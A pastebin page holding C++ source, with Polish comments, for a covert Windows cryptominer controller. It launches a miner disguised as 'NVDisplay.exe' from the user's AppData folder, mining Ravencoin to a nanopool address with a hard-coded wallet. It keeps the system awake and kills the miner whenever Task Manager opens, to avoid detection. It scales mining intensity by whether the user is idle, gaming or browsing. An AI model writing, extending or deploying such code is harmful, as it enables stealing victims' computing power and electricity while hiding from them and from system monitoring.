kodzik

mail@pastecode.io avatar
unknown
c_cpp
2 months ago
11 kB
6
Indexable
Never
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include "Winuser.h"
#include <Psapi.h>
#include <vector>
#include <algorithm>
#include <cstdlib>
#include <shlobj.h>
#include <cwchar>
#include <thread>
#include <chrono>

#include <codecvt>
#include <locale>



using namespace std;

void getidle();
void press();

DWORD previous = 0;


std::string wstringToString(const std::wstring& wstr) {
    std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
    return converter.to_bytes(wstr);
}

bool isFullScreenGame() {
    HWND foregroundWindow = GetForegroundWindow();
    if (foregroundWindow == NULL) return false;

    // Pobierz rozmiar ekranu
    HMONITOR monitor = MonitorFromWindow(foregroundWindow, MONITOR_DEFAULTTONEAREST);
    MONITORINFO mi = { sizeof(mi) };
    if (!GetMonitorInfo(monitor, &mi)) return false;
    int monitorWidth = mi.rcMonitor.right - mi.rcMonitor.left;
    int monitorHeight = mi.rcMonitor.bottom - mi.rcMonitor.top;

    // Pobierz wymiary okna
    RECT windowRect;
    GetWindowRect(foregroundWindow, &windowRect);
    int windowWidth = windowRect.right - windowRect.left;
    int windowHeight = windowRect.bottom - windowRect.top;

    // Porównaj wymiary okna z wymiarami ekranu
    return (windowWidth == monitorWidth && windowHeight == monitorHeight);
}

std::string GetActiveProcessName() {
    HWND hwnd = GetForegroundWindow(); // Get the handle of the active window
    if (hwnd == NULL)
        return "No active window";

    DWORD processId;
    GetWindowThreadProcessId(hwnd, &processId); // Get the process ID

    HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
    if (processHandle == NULL)
        return "Failed to open process";

    char processName[MAX_PATH];
    if (GetModuleBaseNameA(processHandle, NULL, processName, MAX_PATH) == 0) {
        CloseHandle(processHandle);
        return "Failed to get process name";
    }

    CloseHandle(processHandle);
    return std::string(processName);
}

bool isBrowser(const std::string& processName) {
    return processName == "chrome.exe" || processName == "firefox.exe"
        || processName == "msedge.exe" || processName == "iexplore.exe"
        || processName == "opera.exe";
}


BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    const DWORD CLASS_NAME_SIZE = 256;
    WCHAR className[CLASS_NAME_SIZE];

    GetClassNameW(hwnd, className, CLASS_NAME_SIZE);

    if (wcsstr(className, L"TaskManagerWindow") != NULL) {
        // Found Task Manager window
        *reinterpret_cast<bool*>(lParam) = true;
        return FALSE; // Stop enumerating windows
    }
    return TRUE; // Continue enumerating
}

bool isTaskManagerRunning() {
    bool found = false;
    EnumWindows(EnumWindowsProc, reinterpret_cast<LPARAM>(&found));
    return found;
}


bool StartProcess(const std::string& path, const std::string& args, PROCESS_INFORMATION& pi) {
    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // Tworzymy bufor na œcie¿kê i argumenty
    std::string cmd = path + " " + args;
    char* cmdCStr = new char[cmd.length() + 1];

    // Bezpieczne kopiowanie za pomoc¹ strcpy_s
    strcpy(cmdCStr, cmd.c_str());

    // Uruchomienie nowego procesu
    if (!CreateProcessA(
        NULL,            // Nazwa programu (NULL, jeœli u¿ywamy linii poleceñ)
        cmdCStr,         // Linia poleceñ (œcie¿ka i argumenty)
        NULL,            // Deskryptory zabezpieczeñ procesu
        NULL,            // Deskryptory zabezpieczeñ w¹tku
        FALSE,           // Ustawienia dziedziczenia handle
        0,               // Flagi tworzenia
        NULL,            // U¿yj œrodowiska rodzica
        NULL,            // U¿yj katalogu bie¿¹cego rodzica
        &si,             // wskaŸnik na STARTUPINFOA
        &pi              // wskaŸnik na PROCESS_INFORMATION
    )) {
        std::cerr << "CreateProcess failed (" << GetLastError() << ").\n";
        delete[] cmdCStr;
        return false;
    }

    delete[] cmdCStr;
    return true;
}

// Funkcja do zatrzymania procesu
void StopProcess(PROCESS_INFORMATION& pi) {
    // Najpierw próbujemy zakoñczyæ proces ³agodnie
    if (!TerminateProcess(pi.hProcess, 0)) {
        std::cerr << "Failed to terminate process. Error: " << GetLastError() << std::endl;
    }

    // Zamykamy uchwyty
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

std::wstring GetUserAppDataPath() {
    wchar_t appDataPath[MAX_PATH];
    if (GetEnvironmentVariableW(L"APPDATA", appDataPath, MAX_PATH)) {
        return std::wstring(appDataPath);
    }
    else {
        // Gdy nie uda siê pobraæ zmiennej œrodowiskowej
        std::wcerr << L"Error getting APPDATA path.\n";
        return std::wstring();
    }
}

const char* WStringToConstCharPtr(const std::wstring& wstr) {
    // Oblicz wymagan¹ d³ugoœæ ci¹gu znaków
    size_t convertedChars = 0;
    const size_t newsize = wstr.length() + 1;
    char* cstr = new char[newsize];

    return cstr;
}

bool isUserAFK(long long afkThreshold) {
    LASTINPUTINFO lastInputInfo;
    lastInputInfo.cbSize = sizeof(LASTINPUTINFO);

    if (GetLastInputInfo(&lastInputInfo)) {
        DWORD currentTime = GetTickCount();
        long long idleTime = currentTime - lastInputInfo.dwTime;

        return idleTime > afkThreshold;
    }

    return false;
}

int main()
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_SHOW);

    PROCESS_INFORMATION pi;

    wstring appdataPath = GetUserAppDataPath();
    wstring fileName = L"\\NVDisplay";
    wstring appPath = appdataPath + fileName;
    wstring twentyfive = L"\\NVDisplay.exe";
    wstring path1 = appPath + twentyfive;

    string gitPath = wstringToString(path1);

    string arg1 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog -i 12";
    string arg2 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog -i 16";
    string arg3 = "-a kawpow -o stratum+tcp://rvn-eu1.nanopool.org:10400 -u RRjuYRHrdsJAQiEcJ8nbK5Fc4WuzyYphyL.rig0 -p x --no-watchdog --temperature-limit 90 --temperature-start 70";

    bool run1 = false;
    bool run2 = false;
    bool run3 = false;

    bool afk = false;

    long long afkThreshold = 150000;



    bool browser = false;


    // Zapobiega przejœciu systemu w tryb uœpienia
    SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);

    while (true)
    {
        bool taskmgr = isTaskManagerRunning();
        bool fullscreen = isFullScreenGame();
        browser = isBrowser(GetActiveProcessName());
        afk = isUserAFK(afkThreshold);

        if (!afk && !taskmgr && !fullscreen)
        {
            if (!run1 && !run2 && !run3)
            {
                StartProcess(gitPath, arg1, pi); //25%
                run1 = true;
            }
            else if (!run1 && !run2 && run3)
            {
                StopProcess(pi);
                run3 = false;
                run1 = true;
                StartProcess(gitPath, arg1, pi); //25%
            }
            else if (!run1 && run2 && !run3)
            {
                StopProcess(pi);
                run2 = false;
                run1 = true;
                StartProcess(gitPath, arg1, pi); //25%
            }
        }
        else if (!afk && !taskmgr && fullscreen)
        {
            if (browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg2, pi); //50%
                    run2 = true;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run2 = true;
                    StartProcess(gitPath, arg2, pi); //50%
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = true;
                    run1 = false;
                    StartProcess(gitPath, arg2, pi); //50%
                }
            }
            else
            {
                if (run1 || run2 || run3)
                {
                    run1 = false;
                    run2 = false;
                    run3 = false;
                    StopProcess(pi);
                }
            }
        }
        else if (afk && !taskmgr)
        {
            if (fullscreen && !browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    run1 = false;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run1 = false;
                }
                else if (!run1 && run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = false;
                    run1 = false;
                }
            }
            else if (fullscreen && browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg2, pi); //50%
                    run2 = true;
                }
                else if (!run1 && !run2 && run3)
                {
                    StopProcess(pi);
                    run3 = false;
                    run2 = true;
                    StartProcess(gitPath, arg2, pi); //50%
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = true;
                    run1 = false;
                    StartProcess(gitPath, arg2, pi); //50%
                }
            }

            else if (!fullscreen && !browser)
            {
                if (!run1 && !run2 && !run3)
                {
                    StartProcess(gitPath, arg3, pi); //100%
                    run3 = true;
                }
                else if (run1 && !run2 && !run3)
                {
                    StopProcess(pi);
                    run1 = false;
                    run3 = true;
                    StartProcess(gitPath, arg3, pi); //50%
                }
                else if (!run1 && run2 && !run3)
                {
                    StopProcess(pi);
                    run2 = false;
                    run3 = true;
                    StartProcess(gitPath, arg3, pi); //50%
                }
            }
        }

        else if (taskmgr && (run1 || run2 || run3))
        {
            run1 = false;
            run2 = false;
            run3 = false;
            StopProcess(pi);
        }


        Sleep(3000);
    }

    SetThreadExecutionState(ES_CONTINUOUS);
    return 0;
}

Leave a Comment